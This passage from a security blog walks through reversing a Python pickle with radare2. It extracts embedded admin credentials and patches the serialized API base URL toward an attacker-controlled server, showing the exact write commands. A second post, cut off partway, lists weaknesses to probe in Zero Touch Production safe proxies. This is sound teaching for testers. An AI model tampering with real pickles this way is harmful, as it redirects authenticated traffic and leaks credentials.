gASVDQYAAAAAAACMCF9fbWFpbl9flIwDQXBplJOUKYGUfZQojAdzZXNzaW9ulIwR
cmVxdWVzdHMuc2Vzc2lvbnOUjAdTZXNzaW9ulJOUKYGUfZQojAdoZWFkZXJzlIwT
cmVxdWVzdHMuc3RydWN0dXJlc5SME0Nhc2VJbnNlbnNpdGl2ZURpY3SUk5QpgZR9
lIwGX3N0b3JllIwLY29sbGVjdGlvbnOUjAtPcmRlcmVkRGljdJSTlClSlCiMCnVz
ZXItYWdlbnSUjApVc2VyLUFnZW50lIwWcHl0aG9uLXJlcXVlc3RzLzIuMjguMpSG
lIwPYWNjZXB0LWVuY29kaW5nlIwPQWNjZXB0LUVuY29kaW5nlIwNZ3ppcCwgZGVm
bGF0ZZSGlIwGYWNjZXB0lIwGQWNjZXB0lIwDKi8qlIaUjApjb25uZWN0aW9ulIwK
Q29ubmVjdGlvbpSMCmtlZXAtYWxpdmWUhpR1c2KMB2Nvb2tpZXOUjBByZXF1ZXN0
cy5jb29raWVzlIwRUmVxdWVzdHNDb29raWVKYXKUk5QpgZR9lCiMB19wb2xpY3mU
jA5odHRwLmNvb2tpZWphcpSME0RlZmF1bHRDb29raWVQb2xpY3mUk5QpgZR9lCiM
CG5ldHNjYXBllIiMB3JmYzI5NjWUiYwTcmZjMjEwOV9hc19uZXRzY2FwZZROjAxo
aWRlX2Nvb2tpZTKUiYwNc3RyaWN0X2RvbWFpbpSJjBtzdHJpY3RfcmZjMjk2NV91
bnZlcmlmaWFibGWUiIwWc3RyaWN0X25zX3VudmVyaWZpYWJsZZSJjBBzdHJpY3Rf
bnNfZG9tYWlulEsAjBxzdHJpY3RfbnNfc2V0X2luaXRpYWxfZG9sbGFylImMEnN0
cmljdF9uc19zZXRfcGF0aJSJjBBzZWN1cmVfcHJvdG9jb2xzlIwFaHR0cHOUjAN3
c3OUhpSMEF9ibG9ja2VkX2RvbWFpbnOUKYwQX2FsbG93ZWRfZG9tYWluc5ROdWKM
CF9jb29raWVzlH2UdWKMBGF1dGiUjAVhZG1pbpSMD1BpY2tsZXMgYXJlIGZ1bpSG
lIwHcHJveGllc5R9lIwFaG9va3OUfZSMCHJlc3BvbnNllF2Uc4wGcGFyYW1zlH2U
jAZ2ZXJpZnmUiIwEY2VydJROjAhhZGFwdGVyc5RoFClSlCiMCGh0dHBzOi8vlIwR
cmVxdWVzdHMuYWRhcHRlcnOUjAtIVFRQQWRhcHRlcpSTlCmBlH2UKIwLbWF4X3Jl
dHJpZXOUjBJ1cmxsaWIzLnV0aWwucmV0cnmUjAVSZXRyeZSTlCmBlH2UKIwFdG90
YWyUSwCMB2Nvbm5lY3SUTowEcmVhZJSJjAZzdGF0dXOUTowFb3RoZXKUTowIcmVk
aXJlY3SUTowQc3RhdHVzX2ZvcmNlbGlzdJSPlIwPYWxsb3dlZF9tZXRob2RzlCiM
BVRSQUNFlIwGREVMRVRFlIwDUFVUlIwDR0VUlIwESEVBRJSMB09QVElPTlOUkZSM
DmJhY2tvZmZfZmFjdG9ylEsAjBFyYWlzZV9vbl9yZWRpcmVjdJSIjA9yYWlzZV9v
bl9zdGF0dXOUiIwHaGlzdG9yeZQpjBpyZXNwZWN0X3JldHJ5X2FmdGVyX2hlYWRl
cpSIjBpyZW1vdmVfaGVhZGVyc19vbl9yZWRpcmVjdJQojA1hdXRob3JpemF0aW9u
lJGUdWKMBmNvbmZpZ5R9lIwRX3Bvb2xfY29ubmVjdGlvbnOUSwqMDV9wb29sX21h
eHNpemWUSwqMC19wb29sX2Jsb2NrlIl1YowHaHR0cDovL5RoVymBlH2UKGhaaF0p
gZR9lChoYEsAaGFOaGKJaGNOaGROaGVOaGaPlGhoaG9ocEsAaHGIaHKIaHMpaHSI
aHUojA1hdXRob3JpemF0aW9ulJGUdWJoeH2UaHpLCmh7SwpofIl1YnWMBnN0cmVh
bZSJjAl0cnVzdF9lbnaUiIwNbWF4X3JlZGlyZWN0c5RLHnVijAdiYXNldXJslIwU
aHR0cHM6Ly9leGFtcGxlLmNvbS+UdWIu
</code></pre></div></div>
<p>We decode the pickle and put it in a file, lets call it <code class="language-plaintext highlighter-rouge">test.pickle</code>. We
then open the file with r2. We also run <code class="language-plaintext highlighter-rouge">x</code> to see some hex and <code class="language-plaintext highlighter-rouge">pd</code> to <strong>p</strong>rint
<strong>d</strong>issassembly. If you ever want to know what an r2 command does, just run the
command but append a <code class="language-plaintext highlighter-rouge">?</code> to the end to get a help menu (e.g., <code class="language-plaintext highlighter-rouge">pd?</code>).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ r2 -a pickle test.pickle
-- .-. .- -.. .- .-. . ..---
[0x00000000]> x
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00000000 8004 95bf 0500 0000 0000 008c 1172 6571 .............req
0x00000010 7565 7374 732e 7365 7373 696f 6e73 948c uests.sessions..
0x00000020 0753 6573 7369 6f6e 9493 9429 8194 7d94 .Session...)..}.
0x00000030 288c 0768 6561 6465 7273 948c 1372 6571 (..headers...req
0x00000040 7565 7374 732e 7374 7275 6374 7572 6573 uests.structures
0x00000050 948c 1343 6173 6549 6e73 656e 7369 7469 ...CaseInsensiti
0x00000060 7665 4469 6374 9493 9429 8194 7d94 8c06 veDict...)..}...
0x00000070 5f73 746f 7265 948c 0b63 6f6c 6c65 6374 _store...collect
0x00000080 696f 6e73 948c 0b4f 7264 6572 6564 4469 ions...OrderedDi
0x00000090 6374 9493 9429 5294 288c 0a75 7365 722d ct...)R.(..user-
0x000000a0 6167 656e 7494 8c0a 5573 6572 2d41 6765 agent...User-Age
0x000000b0 6e74 948c 1670 7974 686f 6e2d 7265 7175 nt...python-requ
0x000000c0 6573 7473 2f32 2e32 382e 3294 8694 8c0f ests/2.28.2.....
0x000000d0 6163 6365 7074 2d65 6e63 6f64 696e 6794 accept-encoding.
0x000000e0 8c0f 4163 6365 7074 2d45 6e63 6f64 696e ..Accept-Encodin
0x000000f0 6794 8c0d 677a 6970 2c20 6465 666c 6174 g...gzip, deflat
[0x00000000]> pd
0x00000000 8004 proto 0x4
0x00000002 95bf05000000. frame 0x5bf
0x0000000b 8c1172657175. short_binunicode "requests.sessions" ; 0xd
0x0000001e 94 memoize
0x0000001f 8c0753657373. short_binunicode "Session" ; 0x21 ; 2'!'
0x00000028 94 memoize
0x00000029 93 stack_global
0x0000002a 94 memoize
0x0000002b 29 empty_tuple
0x0000002c 81 newobj
0x0000002d 94 memoize
0x0000002e 7d empty_dict
0x0000002f 94 memoize
0x00000030 28 mark
0x00000031 8c0768656164. short_binunicode "headers" ; 0x33 ; 2'3'
0x0000003a 94 memoize
0x0000003b 8c1372657175. short_binunicode "requests.structures" ; 0x3d ; 2'='
0x00000050 94 memoize
0x00000051 8c1343617365. short_binunicode "CaseInsensitiveDict" ; 0x53 ; 2'S'
0x00000066 94 memoize
0x00000067 93 stack_global
</code></pre></div></div>
<p>From the above assembly it appears this file is indeed a pickle. We also see
<code class="language-plaintext highlighter-rouge">requests.sessions</code> and <code class="language-plaintext highlighter-rouge">Session</code> as strings. This pickle likely imports
<code class="language-plaintext highlighter-rouge">requests</code> and uses <code class="language-plaintext highlighter-rouge">sessions</code>. Let’s decompile it. We will run the command <code class="language-plaintext highlighter-rouge">pdPf @0
~...</code>. This takes some explaining though, since it uses a couple of r2’s
features.</p>
<ul>
<li>
<p><code class="language-plaintext highlighter-rouge">pdPf</code> - R2pickledec uses the <code class="language-plaintext highlighter-rouge">pdP</code> command (see <code class="language-plaintext highlighter-rouge">pdP?</code>). Adding an <code class="language-plaintext highlighter-rouge">f</code>
causes the decompiler to set r2 flags for every variable name. This will make
renaming variables and jumping to interesting locations easier.</p>
</li>
<li><code class="language-plaintext highlighter-rouge">@0</code> - This tells r2 to run the command at offset 0 instead of the current
seek address. This does not matter now because our current offset defaults to
<ol>
<li>I just make this a habit in general to prevent mistakes when I am seeking
around to patch something.</li>
</ol>
</li>
<li><code class="language-plaintext highlighter-rouge">~..</code> - This is the r2 version of <code class="language-plaintext highlighter-rouge">|less</code>. It uses r2’s built in pager. If
you like the real <code class="language-plaintext highlighter-rouge">less</code> better, you can just use <code class="language-plaintext highlighter-rouge">|less</code>. R2 commands can be
piped to any command line program.</li>
</ul>
<p>Once we execute the command, we will see a Python-like source representation of
the pickle. The code is seen below, but snipped. All comments below were added
by the decompiler.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>## VM stack start, len 1
## VM[0] TOP
str_xb = "__main__"
str_x16 = "Api"
g_Api_x1c = _find_class(str_xb, str_x16)
str_x24 = "session"
str_x2e = "requests.sessions"
str_x42 = "Session"
g_Session_x4c = _find_class(str_x2e, str_x42)
str_x54 = "headers"
str_x5e = "requests.structures"
str_x74 = "CaseInsensitiveDict"
g_CaseInsensitiveDict_x8a = _find_class(str_x5e, str_x74)
str_x91 = "_store"
str_x9a = "collections"
str_xa8 = "OrderedDict"
g_OrderedDict_xb6 = _find_class(str_x9a, str_xa8)
str_xbc = "user-agent"
str_xc9 = "User-Agent"
str_xd6 = "python-requests/2.28.2"
tup_xef = (str_xc9, str_xd6)
str_xf1 = "accept-encoding"
...
str_x5c9 = "stream"
str_x5d3 = "trust_env"
str_x5e0 = "max_redirects"
dict_x51 = {
str_x54: what_x16c,
str_x16d: what_x30d,
str_x30e: tup_x32f,
str_x331: dict_x33b,
str_x33d: dict_x345,
str_x355: dict_x35e,
str_x360: True,
str_x36a: None,
str_x372: what_x5c8,
str_x5c9: False,
str_x5d3: True,
str_x5e0: 30
}
what_x5f3 = g_Session_x4c.__new__(g_Session_x4c, *())
what_x5f3.__setstate__(dict_x51)
str_x5f4 = "baseurl"
str_x5fe = "https://example.com/"
dict_x21 = {str_x24: what_x5f3, str_x5f4: str_x5fe}
what_x616 = g_Api_x1c.__new__(g_Api_x1c, *())
what_x616.__setstate__(dict_x21)
return what_x616
</code></pre></div></div>
<p>It’s usually best to start reversing at the end with the <code class="language-plaintext highlighter-rouge">return</code> line. That is
what is being returned from the pickle. Hit <code class="language-plaintext highlighter-rouge">G</code> to go to the end of the file.
You will see the following code.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">str_x5f4</span> <span class="o">=</span> <span class="s">"baseurl"</span>
<span class="n">str_x5fe</span> <span class="o">=</span> <span class="s">"https://example.com/"</span>
<span class="n">dict_x21</span> <span class="o">=</span> <span class="p">{</span><span class="n">str_x24</span><span class="p">:</span> <span class="n">what_x5f3</span><span class="p">,</span> <span class="n">str_x5f4</span><span class="p">:</span> <span class="n">str_x5fe</span><span class="p">}</span>
<span class="n">what_x616</span> <span class="o">=</span> <span class="n">g_Api_x1c</span><span class="p">.</span><span class="n">__new__</span><span class="p">(</span><span class="n">g_Api_x1c</span><span class="p">,</span> <span class="o">*</span><span class="p">())</span>
<span class="n">what_x616</span><span class="p">.</span><span class="n">__setstate__</span><span class="p">(</span><span class="n">dict_x21</span><span class="p">)</span>
<span class="k">return</span> <span class="n">what_x616</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">what_x616</code> variable is getting returned. The <code class="language-plaintext highlighter-rouge">what</code> part of the variable
indicates that the decompiler does not know what type of object this is. This
is because <code class="language-plaintext highlighter-rouge">what_x616</code> is the result of a <code class="language-plaintext highlighter-rouge">g_Api_x1c.__new__</code> call. On the
other hand, <code class="language-plaintext highlighter-rouge">g_Api_x1c</code> gets a <code class="language-plaintext highlighter-rouge">g_</code> prefix. The decompiler knows this is a
global, since it is from an import. It even adds the <code class="language-plaintext highlighter-rouge">Api</code> part in to hint at
what the import it. The <code class="language-plaintext highlighter-rouge">x1c</code> and <code class="language-plaintext highlighter-rouge">x616</code> indicate the offset in the pickle
where the object was created. We will use that later to patch the pickle.</p>
<p>Since we used flags, we can easily rename variables by renaming the flag. It
might be helpful to rename the <code class="language-plaintext highlighter-rouge">g_Api_x1c</code> to make it easier to search for.
Rename the flag with <code class="language-plaintext highlighter-rouge">fr pick.g_Api_x1c pick.api</code>. Notice, the flag will tab
complete. List all flags with the <code class="language-plaintext highlighter-rouge">f</code> command. See <code class="language-plaintext highlighter-rouge">f?</code> for help.</p>
<p>Now run <code class="language-plaintext highlighter-rouge">pdP @0 ~..</code> again. Instead of <code class="language-plaintext highlighter-rouge">g_Api_x1c</code> you will see <code class="language-plaintext highlighter-rouge">api</code>. If we
search for its first use, you will find the below code.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">str_xb</span> <span class="o">=</span> <span class="s">"__main__"</span>
<span class="n">str_x16</span> <span class="o">=</span> <span class="s">"Api"</span>
<span class="n">api</span> <span class="o">=</span> <span class="n">_find_class</span><span class="p">(</span><span class="n">str_xb</span><span class="p">,</span> <span class="n">str_x16</span><span class="p">)</span>
<span class="n">str_x24</span> <span class="o">=</span> <span class="s">"session"</span>
<span class="n">str_x2e</span> <span class="o">=</span> <span class="s">"requests.sessions"</span>
<span class="n">str_x42</span> <span class="o">=</span> <span class="s">"Session"</span>
<span class="n">g_Session_x4c</span> <span class="o">=</span> <span class="n">_find_class</span><span class="p">(</span><span class="n">str_x2e</span><span class="p">,</span> <span class="n">str_x42</span><span class="p">)</span>
</code></pre></div></div>
<p>Naively, <code class="language-plaintext highlighter-rouge">_find_class(module, name)</code> is equivalent to
<code class="language-plaintext highlighter-rouge">_getattribute(sys.modules[module], name)[0]</code>. We can see the module is
<code class="language-plaintext highlighter-rouge">__main__</code> and the name is <code class="language-plaintext highlighter-rouge">Api</code>. So the <code class="language-plaintext highlighter-rouge">api</code> variable is just <code class="language-plaintext highlighter-rouge">__main__.Api</code>.</p>
<p>In this snippet of code, we see the request session being imported. You may
have noticed the <code class="language-plaintext highlighter-rouge">baseurl</code> field in the previous snippet of code. Looks like
this object contains a session for making backend API requests. Can we steal
something good from it? Googling for “requests session basic authentication”
turns up the <code class="language-plaintext highlighter-rouge">auth</code> attribute. Let’s look for “auth” in our pickle.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>str_x30e = "auth"
str_x315 = "admin"
str_x31d = "Pickles are fun"
tup_x32f = (str_x315, str_x31d)
str_x331 = "proxies"
dict_x33b = {}
...
dict_x51 = {
str_x54: what_x16c,
str_x16d: what_x30d,
str_x30e: tup_x32f,
str_x331: dict_x33b,
str_x33d: dict_x345,
str_x355: dict_x35e,
str_x360: True,
str_x36a: None,
str_x372: what_x5c8,
str_x5c9: False,
str_x5d3: True,
str_x5e0: 30
}
</code></pre></div></div>
<p>It might be helpful to rename variables for understanding, or run <code class="language-plaintext highlighter-rouge">pdP >
/tmp/pickle_source.py</code> to get a <code class="language-plaintext highlighter-rouge">.py</code> file to open in your favorite text editor.
In short though, the above code sets up the dictionary <code class="language-plaintext highlighter-rouge">dict_x51</code> where the
<code class="language-plaintext highlighter-rouge">auth</code> element is set to the tuple <code class="language-plaintext highlighter-rouge">("admin", "Pickles are fun")</code>.</p>
<p>We just stole the admin credentials!</p>
<h2 id="patching">Patching</h2>
<p>Now I don’t recommend doing this on a real pentest, but let’s take things
farther. We can patch the pickle to use our own malicious webserver. We first
need to find the current URL, so we search for “https” and find the following code.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">str_x5f4</span> <span class="o">=</span> <span class="s">"baseurl"</span>
<span class="n">str_x5fe</span> <span class="o">=</span> <span class="s">"https://example.com/"</span>
<span class="n">dict_x21</span> <span class="o">=</span> <span class="p">{</span><span class="n">str_x24</span><span class="p">:</span> <span class="n">what_x5f3</span><span class="p">,</span> <span class="n">str_x5f4</span><span class="p">:</span> <span class="n">str_x5fe</span><span class="p">}</span>
<span class="n">what_x616</span> <span class="o">=</span> <span class="n">api</span><span class="p">.</span><span class="n">__new__</span><span class="p">(</span><span class="n">g_Api_x1c</span><span class="p">,</span> <span class="o">*</span><span class="p">())</span>
</code></pre></div></div>
<p>So the <code class="language-plaintext highlighter-rouge">baseurl</code> of the API is being set to <code class="language-plaintext highlighter-rouge">https://example.com/</code>. To patch
this, we seek to where the URL string is created. We can use the <code class="language-plaintext highlighter-rouge">x5fe</code> in the
variable name to know where the variable was created, or we can just seek to
the <code class="language-plaintext highlighter-rouge">pick.str_x5e</code> flag. When seeking to a flag in r2 you can tab complete the
flag. Notice the prompt changes its location number after the <strong>s</strong>eek command.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x00000000]> s pick.str_x5fe
[0x000005fe]> pd 1
;-- pick.str_x5fe:
0x000005fe 8c1468747470. short_binunicode "https://example.com/" ; 0x600
</code></pre></div></div>
<p>Let’s overwrite this URL with <code class="language-plaintext highlighter-rouge">https://doyensec.com/</code>. The below Radare2
commands are commented so you can understand what they are doing.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x000005fe]> oo+ # reopen file in read/write mode
[0x000005fe]> pd 3 # double check what next instructions should be
;-- pick.str_x5fe:
0x000005fe 8c1468747470. short_binunicode "https://example.com/" ; 0x600
0x00000614 94 memoize
0x00000615 75 setitems
[0x000005fe]> r+ 1 # add one extra byte to the file, since our new URL is slightly longer
[0x000005fe]> wa short_binunicode "https://doyensec.com/"
INFO: Written 23 byte(s) (short_binunicode "https://doyensec.com/") = wx 8c1568747470733a2f2f646f79656e7365632e636f6d2f @ 0x000005fe
[0x000005fe]> pd 3 # double check we did not clobber an instruction
;-- pick.str_x5fe:
0x000005fe 8c1568747470. short_binunicode "https://doyensec.com/" ; 0x600
0x00000615 94 memoize
;-- pick.what_x616:
0x00000616 75 setitems
[0x000005fe]> pdP @0 |tail # check that the patch worked
str_x5e0: 30
}
what_x5f3 = g_Session_x4c.__new__(g_Session_x4c, *())
what_x5f3.__setstate__(dict_x51)
str_x5f4 = "baseurl"
str_x5fe = "https://doyensec.com/"
dict_x21 = {str_x24: what_x5f3, str_x5f4: str_x5fe}
what_x617 = g_Api_x1c.__new__(g_Api_x1c, *())
what_x617.__setstate__(dict_x21)
return what_x617
</code></pre></div></div>
<h2 id="json-and-automation">JSON and Automation</h2>
<p>Imagine this is just the first of 100 files and you want to patch them all.
Radare2 is easy to script with <a href="https://www.radare.org/n/r2pipe.html">r2pipe</a>.
Most commands in r2 have a JSON variant by adding a <code class="language-plaintext highlighter-rouge">j</code> to the end. In this
case, <code class="language-plaintext highlighter-rouge">pdPj</code> will produce an AST in JSON. This is complete with offsets. Using
this you can write a parser that will automatically find the <code class="language-plaintext highlighter-rouge">baseurl</code> element
of the returned <code class="language-plaintext highlighter-rouge">api</code> object, get the offset and patch it.</p>
<p>JSON can also be helpful without r2pipe. This is because r2 has a bunch of
built-in features for dealing with JSON. For example, we can pretty print JSON
with <code class="language-plaintext highlighter-rouge">~{}</code>, but for this pickle it would produce 1492 lines of JSON. So better
yet, use r2’s internal <a href="https://github.com/tomnomnom/gron">gron</a> output with
<code class="language-plaintext highlighter-rouge">~{=}</code> and grep for what you want.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x000005fe]> pdPj @0 ~{=}https
json.stack[0].value[1].args[0].value[0][1].value[1].args[0].value[1][1].value[1].args[0].value[0][1].value[1].args[0].value[10][1].value[0].value = "https";
json.stack[0].value[1].args[0].value[0][1].value[1].args[0].value[8][1].value[1].args[0].value = "https://";
json.stack[0].value[1].args[0].value[1][1].value = "https://doyensec.com/";
</code></pre></div></div>
<p>Now we can go use the provided JSON path to find the offset of the doyensec.com URL.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x00000000]> pdPj @0 ~{stack[0].value[1].args[0].value[1][1].value}
https://doyensec.com/
[0x00000000]> pdPj @0 ~{stack[0].value[1].args[0].value[1][1]}
{"offset":1534,"type":"PY_STR","value":"https://doyensec.com/"}
[0x00000000]> pdPj @0 ~{stack[0].value[1].args[0].value[1][1].offset}
1534
[0x00000000]> s `pdPj @0 ~{stack[0].value[1].args[0].value[1][1].offset}` ## seek to address using subcomand
[0x000005fe]> pd 1
;-- pick.str_x5fe:
0x000005fe 8c1568747470. short_binunicode "https://doyensec.com/" ; 0x600
</code></pre></div></div>
<p>Don’t forget you can pipe to external commands. For example, <code class="language-plaintext highlighter-rouge">pdPj |jq</code> can be used to
search the AST for different patterns. For example, you could return all
objects where the type is <code class="language-plaintext highlighter-rouge">PY_GLOBAL</code>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The r2pickledec plugin simplifies reversing of pickles. Because it is a r2
plugin, you get all the features of r2. We barely scratched the surface of what
r2 can do. If you’d like to learn more, check out the r2 <a href="https://book.rada.re/">book</a>.
Be sure to keep an eye out for my next post where I will go into Python pickle obfuscation
techniques.</p>
Testing Zero Touch Production Platforms and Safe Proxies2023-05-04T00:00:00+02:00https://blog.doyensec.com/2023/05/04/testing-ztp-platforms-a-primer<p>As more companies develop in-house services and tools to moderate access to production environments, the importance of understanding and testing these Zero Touch Production (ZTP) platforms grows <sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">1</a></sup> <sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">2</a></sup>. This blog post aims to provide an overview of ZTP tools and services, explore their security role in DevSecOps, and outline common pitfalls to watch out for when testing them.</p>
<ul id="markdown-toc">
<li><a href="#sre-ztp" id="markdown-toc-sre-ztp">SRE? ZTP?</a> <ul>
<li><a href="#safe-proxies-in-production" id="markdown-toc-safe-proxies-in-production">Safe Proxies In Production</a></li>
</ul>
</li>
<li><a href="#the-safety--security-roles-of-safe-proxies" id="markdown-toc-the-safety--security-roles-of-safe-proxies">The safety & security roles of Safe Proxies</a></li>
<li><a href="#what-does-ztp-look-like-today" id="markdown-toc-what-does-ztp-look-like-today">What does ZTP look like today</a></li>
<li><a href="#what-to-look-for-when-auditing-ztp-toolsservices" id="markdown-toc-what-to-look-for-when-auditing-ztp-toolsservices">What to look for when auditing ZTP tools/services</a> <ul>
<li><a href="#a-web-attack-surface" id="markdown-toc-a-web-attack-surface">A. Web Attack Surface</a></li>
<li><a href="#b-hooks" id="markdown-toc-b-hooks">B. Hooks</a></li>
<li><a href="#c-safe-centralization" id="markdown-toc-c-safe-centralization">C. Safe Centralization</a></li>
<li><a href="#d-insecure-default-templates" id="markdown-toc-d-insecure-default-templates">D. Insecure Default Templates</a></li>
<li><a href="#e-logging" id="markdown-toc-e-logging">E. Logging</a></li>
<li><a href="#f-rate-limiting" id="markdown-toc-f-rate-limiting">F. Rate-limiting</a></li>
<li><a href="#g-acl-ownership" id="markdown-toc-g-acl-ownership">G. ACL Ownership</a></li>
<li><a href="#h-command-safeguards" id="markdown-toc-h-command-safeguards">H. Command Safeguards</a></li>
<li><a href="#i-traceability-and-scoping" id="markdown-toc-i-traceability-and-scoping">I. Traceability and Scoping</a></li>
<li><a href="#j-scoped-access" id="markdown-toc-j-scoped-access">J. Scoped Access</a></li>
<li><a href="#k-different-interfaces-different-requirements" id="markdown-toc-k-different-interfaces-different-requirements">K. Different Interfaces, Different Requirements</a></li>
<li><a href="#l-service-vs-global-rules" id="markdown-toc-l-service-vs-global-rules">L. Service vs Global rules</a></li>
<li><a href="#m-command-parsing" id="markdown-toc-m-command-parsing">M. Command Parsing</a></li>
<li><a href="#n-race-conditions" id="markdown-toc-n-race-conditions">N. Race Conditions</a></li>
<li><a href="#o-break-glass" id="markdown-toc-o-break-glass">O. Break-glass</a></li>
</ul>
</li>
<li><a href="#conclusions" id="markdown-toc-conclusions">Conclusions</a></li>
<li><a href="#references" id="markdown-toc-references">References</a></li>
</ul>
<h2 id="sre-ztp">SRE? ZTP?</h2>
<blockquote>
<p><em>“Every change in production must be either made by automation, prevalidated by software or made via audited break-glass mechanism.”</em> – Seth Hettich, Former Production TL, Google</p>
</blockquote>
<p>This terminology was <a href="https://sre.google/">popularized</a> by Google’s DevOps teams and is the golden standard to this day. According to this picture, there are SREs, a selected group of engineers that can exclusively use their SSH production access to act when something breaks. But that access introduces reliability and security risks if they make a mistake or their accounts are compromised. To balance this risk, companies should automate the majority of the production operations while providing routes for manual changes when necessary. This is the basic reasoning behind what was introduced by the “<a href="https://static.googleusercontent.com/media/sre.google/en//static/pdf/building_secure_and_reliable_systems.pdf">Zero Touch Production</a>” pattern.</p>
<p>
<center><img src="../../../public/images/ztp-primer-0.jpg" alt="The way we all feel about SRE" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 350px;" /></center>
</p>
<h4 id="safe-proxies-in-production">Safe Proxies In Production</h4>
<p>The “Safe Proxy” model refers to the tools that allow authorized persons to access or modify the
state of physical servers, virtual machines, or particular applications. From the <a href="](https://static.googleusercontent.com/media/sre.google/en//static/pdf/building_secure_and_reliable_systems.pdf)">original definition</a>:</p>
<blockquote>
<p>At Google, we enforce this behavior by restricting the target system to accept only calls from the proxy through a configuration. This configuration specifies which application-layer remote procedure calls (RPCs) can be executed by which client roles through access control lists (ACLs). After checking the access permissions, the proxy sends the request to be executed via the RPC to the target systems. Typically, each target system has an application-layer program that receives the request and executes it directly on the system. The proxy logs all requests and commands issued by the systems it interacts with.</p>
</blockquote>
<h2 id="the-safety--security-roles-of-safe-proxies">The safety & security roles of Safe Proxies</h2>
<p>There are various outage scenarios prevented by ZTP (e.g., typos, cut/paste errors, wrong terminals, underestimating blast radius of impacted machines, etc.). On paper, it’s a great way to protect production from human errors affecting the availability, but it can also help to prevent some forms of malicious access. A typical scenario involves an SRE that is compromised or malicious and tries to do what an attacker would do with privileges. This could include bringing down or attacking other machines, compromising secrets, or scraping user data programmatically. This is why testing these services will become more and more important as the attackers will find them valuable and target them.</p>
<p>
<center><img src="../../../public/images/ztp-primer-safeproxy.png" alt="Generic scheme about Safe Proxies" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<h2 id="what-does-ztp-look-like-today">What does ZTP look like today</h2>
<p>Many companies nowadays need these secure proxy tools to realize their vision, but they are all trying to reinvent the wheel in one way or another. This is because it’s an immature market and no off-the-shelf solutions exist. During the development, the security team is often included in the steering committee but may lack the domain-specific logic to build similar solutions. Another issue is that since usually the main driver is the DevOps team wanting operational safety, availability and integrity are prioritized at the expense of confidentiality. In reality, the ZTP framework development team should collaborate with SRE and security teams throughout the design and implementation phases, ensuring that security and reliability best practices are
woven into the fabric of the framework and not just bolted on at the end.</p>
<p>Last but not least, these solutions are to this day suffering in their adoption rates and are subjected to lax intepretations (to a point where developers are the ones using these systems to access what they’re allowed to touch in production). These services are particularly juicy for both pentesters and attackers. It’s not an understatement to say that every actor compromising a box in a corporate environment should first look at these services to escalate their access.</p>
<h2 id="what-to-look-for-when-auditing-ztp-toolsservices">What to look for when auditing ZTP tools/services</h2>
<p>We compiled some of the most common issues we’ve encountered while testing ZTP implementations below:</p>
<h4 id="a-web-attack-surface">A. Web Attack Surface</h4>
<p>ZTP services often expose a web-based frontend for various purposes such as monitoring, proposing commands or jobs, and checking command output. These frontends are prime targets for classic web security vulnerabilities like Cross-Site Request Forgery (CSRF), Server-Side Request Forgery (SSRF), Insecure Direct Object References (IDORs), XML External Entity (XXE) attacks, and Cross-Origin Resource Sharing (CORS) misconfigurations. If the frontend is also used for command moderation, it presents an even more interesting attack surface.</p>
<h4 id="b-hooks">B. Hooks</h4>
<p>Webhooks are widely used in ZTP platforms due to their interaction with team members and on-call engineers. These hooks are crucial for the command approval flow ceremony and for monitoring. Attackers may try to manipulate or suppress any Pagerduty, Slack, or Microsoft Teams bot/hook notifications. Issues to look for include content spoofing, webhook authentication weaknesses, and replay attacks.</p>
<h4 id="c-safe-centralization">C. Safe Centralization</h4>
<p>Safety checks in ZTP platforms are usually evaluated centrally. A portion of the solution is often hosted independently for availability, to evaluate the rules set by the SRE team. It’s essential to assess the security of the core service, as exploiting or polluting its visibility can affect the entire infrastructure’s availability (what if the service is down? who can access this service?).</p>
<p>In an hypotetical sample attack scenario, if a rule is set to only allow reboots of a certain percentage of the fleet, can an attacker pollute the fleet status and make the hosts look alive? This can be achieved with ping reply spoofing or via MITM in the case of plain HTTP health endpoints. Under these premises, network communications must be Zero Trust too to defend against this.</p>
<h4 id="d-insecure-default-templates">D. Insecure Default Templates</h4>
<p>The templates for the policy configuration managing the access control for services are usually provided to service owners. These can be a source of errors themselves. Users should be guided to make the right choices by providing templates or automatically generating settings that are secure by default. For a full list of the design strategies presented, see the “Building Secure and Reliable Systems” bible <sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">3</a></sup>.</p>
<h4 id="e-logging">E. Logging</h4>
<p>Inconsistent or excessive logging retention of command outputs can be hazardous. Attackers might abuse discrepancies in logging retention to access user data or secrets logged in a given command or its results.</p>
<h4 id="f-rate-limiting">F. Rate-limiting</h4>
<p>Proper rate-limiting configuration is essential to ensure an attacker cannot change all production “at once” by themselves. The rate limiting configuration should be agreed upon with the team responsible for the mediated services.</p>
<h4 id="g-acl-ownership">G. ACL Ownership</h4>
<p>Another pitfall is found in what provides the ownership or permission logic for the services. If SREs can edit membership data via the same ZTP service or via other means, an attacker can do the same and bypass the solution entirely.</p>
<p>
<center><img src="../../../public/images/ztp-primer-2.png" alt="ZTP" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 500px;" /></center>
</p>
<h4 id="h-command-safeguards">H. Command Safeguards</h4>
<p>Strict allowlists of parameters and configurations should be defined for commands or jobs that can be run. Similar to “living off the land binaries” (lolbins), if arguments to these commands are not properly vetted, there’s an increased risk of abuse.</p>
<h4 id="i-traceability-and-scoping">I. Traceability and Scoping</h4>
